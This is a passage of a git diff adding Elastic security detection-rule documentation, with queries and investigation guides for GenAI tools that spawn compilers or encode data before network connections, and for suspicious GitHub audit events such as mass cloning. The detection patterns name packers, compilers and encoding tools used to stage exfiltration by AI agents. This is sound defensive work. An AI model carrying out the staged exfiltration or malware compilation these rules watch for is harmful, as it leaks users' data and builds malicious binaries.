Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0053 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Compiling or Generating Executables* + + +This rule detects GenAI tools spawning compilers or packaging tools. While developers may use GenAI to write code that they then compile, autonomous compilation by GenAI processes is unusual. + + +*Possible investigation steps* + + +- Review the GenAI process that spawned the compiler to identify which tool is running and verify if it's an expected/authorized tool. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the output files created by the compilation process to identify any malicious executables. +- Check for other alerts or suspicious activity on the same host around the same time. +- Verify if the GenAI tool is from a trusted source and if it's authorized for use in your environment. +- Identify whether the generated executables appear in temporary directories often used for malware staging (`%TEMP%`, `/tmp`, `.cache`). +- Inspect the compiled artifacts for networking imports, credential harvesting functionality, or persistence mechanisms. + + +*False positive analysis* + + +- Legitimate development workflows that use GenAI tools for code generation may trigger this rule if they compile the generated code. +- Some GenAI-assisted coding IDEs (Cursor, Copilot Workspace) may run compilation tasks when testing code; confirm whether the behavior is tied to developer workflow. + + +*Response and remediation* + + +- Terminate the GenAI process and any spawned compiler processes to stop the malicious activity. +- Investigate the compiled executables to determine if they are malicious. +- Review audit logs to determine the scope of compilation activity and identify any executables that may have been created. +- Quarantine any compiled binaries; submit suspicious artifacts to sandbox or malware analysis. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + + // GenAI parent process + ( + process.parent.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", "Cursor Helper", "Cursor Helper (Plugin)", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", "Jan Helper", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli" + ) or + + // Node/Deno with GenAI frameworks + (process.parent.name in ("node.exe", "node", "deno.exe", "deno") and + process.parent.command_line like~ ("*mcp-server*", "*@modelcontextprotocol*", "*langchain*", "*autogpt*", "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*")) or + + // Python with GenAI frameworks + (process.parent.name like~ "python*" and + process.parent.command_line like~ ("*langchain*", "*autogpt*", "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*")) + ) and + + // Compilation tools + ( + // Python packaging + process.name in ("pyinstaller", "py2exe", "cx_Freeze", "nuitka", "pyarmor", "pkg") or + + // C/C++ compilation with output + (process.name in ("gcc", "g++", "clang", "clang++", "cl.exe") and + process.command_line like~ "*-o *" and + process.command_line like~ ("*.c *", "*.c", "*.cpp *", "*.cpp", "*.cc *", "*.cc", "*.m *", "*.m") and + not process.command_line like~ "*git*") or + + // Go compilation + (process.name == "go" and process.args == "build") or + + // Rust compilation + (process.name == "cargo" and process.args == "build") or + (process.name == "rustc" and process.command_line like~ "*-o *") or + + // .NET compilation + process.name in ("csc.exe", "vbc.exe", "msbuild.exe") or + (process.name == "dotnet" and process.args == "build") or + + // Java compilation + process.name == "javac" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compile After Delivery +** ID: T1027.004 +** Reference URL: https://attack.mitre.org/techniques/T1027/004/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Develop Capabilities +** ID: T1587 +** Reference URL: https://attack.mitre.org/techniques/T1587/ +* Sub-technique: +** Name: Malware +** ID: T1587.001 +** Reference URL: https://attack.mitre.org/techniques/T1587/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc new file mode 100644 index 0000000000..a1f066f253 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-21-genai-process-performing-encoding-chunking-prior-to-network-activity]] +=== GenAI Process Performing Encoding/Chunking Prior to Network Activity + +Detects when GenAI processes perform encoding or chunking (base64, gzip, tar, zip) followed by outbound network activity. This sequence indicates data preparation for exfiltration. Attackers encode or compress sensitive data before transmission to obfuscate contents and evade detection. Legitimate GenAI workflows rarely encode data before network communications. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0086 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0086 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Performing Encoding/Chunking Prior to Network Activity* + + +GenAI processes performing encoding or chunking operations followed by network activity is highly suspicious. This behavior indicates data preparation for exfiltration via GenAI prompts or agents, which is a strong indicator of malicious activity. + + +*Possible investigation steps* + + +- Review the GenAI process that performed the encoding to identify which tool is running and verify if it's an expected/authorized tool. +- Examine the encoding/chunking command line arguments to understand what data is being processed. +- Review the network connection details to identify the destination and determine if it's expected. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the data that was encoded to determine if it contains sensitive information. +- Determine whether the encoding was initiated by a GenAI agent or automation loop rather than a user action. +- Check whether the encoded data size or entropy suggests credential files, browser data, SSH keys, or cloud tokens. +- Validate that the GenAI tool is installed from a trusted source and has not been modified. + + +*False positive analysis* + + +- Legitimate data processing workflows that use GenAI tools may trigger this rule if they encode data before transmission. +- Some local developer workflows may encode files before uploading training data or embeddings; confirm whether the host is a model-development workstation. + + +*Response and remediation* + + +- Terminate the GenAI process and any spawned encoding/network processes to stop the malicious activity. +- Review and revoke any API keys, tokens, or credentials that may have been exposed or used by the GenAI tool. +- Investigate the encoded data and network destination to determine the scope of potential data exfiltration. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + + // Encoding/compression followed by network activity + [process where event.type == "start" + and event.type == "start" + + // Encoding/chunking tools + and ( + // Native encoding tools + process.name in ("base64", "gzip", "tar", "zip", "split", "7z", "7za", "7zr") or + + // PowerShell encoding + (process.name in ("powershell.exe", "pwsh.exe") and + process.command_line like~ ("*Compress-Archive*", "*[Convert]::ToBase64String*")) or + + // Python encoding + (process.name like~ "python*" and + process.command_line like~ ("*base64*", "*gzip*", "*zlib*", "*tarfile*", "*zipfile*")) or + + // Node.js encoding + (process.name in ("node.exe", "node") and + process.command_line like~ ("*Buffer.from*", "*zlib*", "*gzip*") and + not process.command_line like~ ("*mcp*start*", "*mcp-server*", "*npm exec*mcp*")) + ) + + // GenAI parent process + and ( + process.parent.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", "Cursor Helper", "Cursor Helper (Plugin)", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", "Jan Helper", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli" + ) or + + // Node/Deno with GenAI frameworks + (process.parent.name in ("node.exe", "node", "deno.exe", "deno") and + process.parent.command_line like~ ( + "*ollama*", "*mcp-server*", "*@modelcontextprotocol*", "*langchain*", "*autogpt*", + "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", + "*haystack*", "*openai*", "*anthropic*", "*cohere*", "*mistral*" + )) or + + // Python with GenAI frameworks + (process.parent.name like~ "python*" and + process.parent.command_line like~ ( + "*ollama*", "*mcp-server*", "*langchain*", "*autogpt*", "*babyagi*", + "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*", + "*openai*", "*anthropic*", "*cohere*", "*mistral*" + )) + ) + ] by process.entity_id + + // Outbound network connection (non-local) + [network where event.type == "start" + and event.action == "connection_attempted" + and destination.ip != null + and not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8") + + ] by process.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Sub-technique: +** Name: Archive via Utility +** ID: T1560.001 +** Reference URL: https://attack.mitre.org/techniques/T1560/001/ +* Sub-technique: +** Name: Archive via Library +** ID: T1560.002 +** Reference URL: https://attack.mitre.org/techniques/T1560/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Data Transfer Size Limits +** ID: T1030 +** Reference URL: https://attack.mitre.org/techniques/T1030/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-actions-unusual-bot-push-to-repository.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-actions-unusual-bot-push-to-repository.asciidoc new file mode 100644 index 0000000000..3692cce806 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-actions-unusual-bot-push-to-repository.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-21-github-actions-unusual-bot-push-to-repository]] +=== GitHub Actions Unusual Bot Push to Repository + +Detects when the github-actions[bot] pushes code to a repository where it has not performed this behavior before in a certain time window. This may indicate a supply chain attack where malicious code running in a CI workflow attempts to modify repository contents, such as injecting backdoor workflow files. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GitHub Actions Unusual Bot Push to Repository* + + +This rule detects when the GitHub Actions bot pushes to a repository where it hasn't pushed to in a certain time interval. While this can be +legitimate automation, it may also indicate a supply chain attack where malicious code executes during CI and attempts +to modify repository contents. + + +*Possible investigation steps* + + +- Review the `github.repo` field to identify the affected repository. +- Check recent workflow runs in the repository to identify which workflow triggered the push. +- Examine the repository's commit history to see what files were modified by the bot push. +- Look for newly added or modified files in `.github/workflows/` directory. +- Review the repository's dependencies for recently added or updated packages with preinstall/postinstall hooks. +- Check if the repository has legitimate automation that would explain bot pushes (Dependabot, Renovate, release automation). +- Correlate with `protected_branch.rejected_ref_update` events to see if workflow injection was blocked. +- Search for other repositories in the organization with similar suspicious activity. + + +*False positive analysis* + + +- Repositories with auto-commit workflows (formatting, changelog generation, version bumps) will trigger on first run. +- Dependabot or Renovate auto-merge configurations cause legitimate bot pushes. +- GitHub Pages deployment workflows may push to gh-pages branches. +- Release automation that updates version files or generates artifacts. + + +*Response and remediation* + + +- If the push is unexpected, immediately review the commit contents for malicious files. +- Check for suspicious workflow files (e.g., `discussion_*.yaml`, `formatter_*.yml`). +- Audit all dependencies in the affected repository for malicious packages. +- Rotate any secrets that may have been exposed during the workflow run. +- Enable branch protection rules to require PR reviews for all changes. +- Consider restricting GITHUB_TOKEN permissions in workflow files using `permissions:` key. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "github.audit" and + event.action: "git.push" and + user.name: "github-actions[bot]" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc new file mode 100644 index 0000000000..18c46f978e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc @@ -0,0 +1,101 @@ +[[prebuilt-rule-8-19-21-github-activity-on-a-private-repository-from-an-unusual-ip]] +=== Github Activity on a Private Repository from an Unusual IP + +Detects when there is activity on a private GitHub repository from an unusual IP address. Adversaries may access private repositories from unfamiliar IPs to exfiltrate sensitive code or data, potentially indicating a compromise or unauthorized access. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"github.audit" and event.action:("git.push" or "git.clone") and github.repository_public:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-app-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-app-deleted.asciidoc new file mode 100644 index 0000000000..24f4f95374 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-app-deleted.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-21-github-app-deleted]] +=== GitHub App Deleted + +Detects the deletion of a GitHub app either from a repo or an organization. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub App Deleted* + + +GitHub Apps are integrations that extend GitHub's functionality, often used to automate workflows or manage repositories. Adversaries might delete these apps to disrupt operations or remove security controls. The detection rule monitors audit logs for app deletions, flagging potential unauthorized actions. By focusing on specific event types and categories, it helps identify suspicious deletions that could indicate malicious activity. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event type "deletion" within the "integration_installation" category to identify the exact GitHub app that was deleted. +- Determine the user or account responsible for the deletion by examining the associated user information in the audit logs. +- Check the timing of the deletion event to see if it coincides with any other suspicious activities or anomalies in the repository or organization. +- Investigate the role and permissions of the user who performed the deletion to assess if they had legitimate access and authorization to delete the app. +- Look into the history of the deleted GitHub app to understand its purpose, usage, and any dependencies it might have had within the organization or repository. +- Communicate with the team or organization members to verify if the deletion was intentional and authorized, or if it was unexpected and potentially malicious. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel can trigger app deletions. Verify with the team responsible for GitHub app management to confirm if the deletion was planned. +- Automated scripts or tools used for managing GitHub apps might inadvertently delete apps during updates or reconfigurations. Review the scripts and ensure they have proper safeguards to prevent accidental deletions. +- Organizational policy changes might lead to the removal of certain apps. Check if there have been recent policy updates that could explain the deletion. +- Exclude specific users or service accounts known to perform legitimate app deletions regularly by creating exceptions in the detection rule. +- Monitor for patterns of deletions that align with scheduled maintenance windows and adjust the rule to ignore these timeframes if they consistently result in false positives. + + +*Response and remediation* + + +- Immediately revoke any compromised credentials or tokens associated with the deleted GitHub app to prevent unauthorized access. +- Restore the deleted GitHub app from a backup or re-install it to ensure continuity of operations and security controls. +- Conduct a thorough review of recent changes and activities in the affected repositories or organization to identify any unauthorized actions or data alterations. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordinated response efforts. +- Implement additional monitoring on the affected repositories or organization to detect any further suspicious activities or attempts to delete apps. +- Review and tighten permissions for GitHub apps to ensure only authorized personnel have the ability to delete or modify app installations. +- Escalate the incident to higher-level security management if there is evidence of a broader compromise or if the deletion is part of a larger attack campaign. + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" and github.category == "integration_installation" and event.type == "deletion" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc new file mode 100644 index 0000000000..68cb717c89 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-21-github-exfiltration-via-high-number-of-repository-clones-by-user]] +=== GitHub Exfiltration via High Number of Repository Clones by User + +Detects a high number of repository cloning actions by a single user within a short time frame. Adversaries may clone multiple repositories to exfiltrate sensitive data. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Exfiltration via High Number of Repository Clones by User* + + +This rule flags a single user rapidly cloning dozens of repositories, a strong indicator of bulk source code exfiltration. Mass cloning enables quick siphoning of proprietary code, embedded secrets, and build artifacts across teams before defenses can respond. A typical pattern is a stolen personal access token used in a script to enumerate org repositories and clone them in rapid succession from a CI runner or cloud VM, including private and internal repos, to stage data for off-platform transfer. + + +*Possible investigation steps* + + +- Validate whether the actor is a known automation or service account with a documented need to mass-clone, and quickly confirm intent with the account owner and affected repo admins. +- Enumerate the cloned repositories and their visibility, deprioritizing activity dominated by public repos while fast-tracking private/internal codebases with sensitive content across orgs. +- Pivot on the token identifier to determine the token owner, scopes, and creation/last-use details, compare to normal usage patterns, and revoke/reset credentials if anomalous. +- Analyze the user agent and agent identifier to attribute the activity to a specific host or CI runner, correlating with pipeline logs and login locations/times for anomalies. +- Correlate with endpoint/network telemetry from the originating host for large outbound transfers, external Git remotes, or bulk archiving indicating off-platform exfiltration following the clones. + + +*False positive analysis* + + +- A developer rebuilding a workstation or creating an approved local mirror may legitimately clone dozens of repositories in a short window, especially when activity is dominated by public or low-sensitivity repos. +- A shared automation/service account running scheduled builds or org-wide maintenance tasks can trigger fresh clones across many repositories due to pipeline configuration or cache resets, inflating counts without exfiltration intent. + + +*Response and remediation* + + +- Immediately revoke the GitHub token used for the clones, force sign out, require password reset and 2FA re-verification for the user, and suspend the account if unauthorized. +- Block and quarantine the originating host or CI runner by revoking its runner registration, removing its SSH keys/credentials, and firewalling its IP until imaged. +- On the cloned private/internal repositories, remove the user from teams, rotate or disable deploy keys and GitHub App installations, and enforce SAML SSO. +- Rotate repository and organization secrets present in those repos (Actions secrets, PATs, SSH keys, cloud access keys) and invalidate any secrets found in commit history. +- Recover by restoring only minimal access after owner approval, issuing a new fine-grained PAT with least privilege and expiry, and re-enabling builds while monitoring for further clone bursts. +- Escalate to incident response leadership and Legal if any private or export-controlled repos were cloned or cloning continues post-revocation, and harden by enforcing org-wide SSO, disallowing classic PATs, IP allowlisting for PAT use, enabling secret scanning with push protection, and alerting on burst git clone patterns from runners and unusual user agents. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and event.type == "change" and event.action == "git.clone" +| stats + Esql.event_count = COUNT(*), + Esql.github_org_values = values(github.org), + Esql.github_repo_values = values(github.repo), + Esql.github_repository_public_values = values(github.repository_public), + Esql.github_token_id_values = values(github.token_id), + Esql.github_user_agent_values = values(github.user_agent), + Esql.user_name_values = values(user.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by user.name + +| keep Esql.* + +| where + Esql.event_count >= 25 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-owner-role-granted-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-owner-role-granted-to-user.asciidoc new file mode 100644 index 0000000000..94d177b854 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-github-owner-role-granted-to-user.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-github-owner-role-granted-to-user]] +=== GitHub Owner Role Granted To User + +This rule detects when a member is granted the organization owner role of a GitHub organization. This role provides admin level privileges. Any new owner role should be investigated to determine its validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Persistence +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Owner Role Granted To User* + + +In GitHub organizations, the owner role grants comprehensive administrative privileges, enabling full control over repositories, settings, and data. Adversaries may exploit this by elevating privileges to maintain persistence or exfiltrate data. The detection rule monitors audit logs for changes in member roles to 'admin', signaling potential unauthorized access or privilege escalation attempts, thus aiding in early threat identification. + + +*Possible investigation steps* + + +- Review the audit 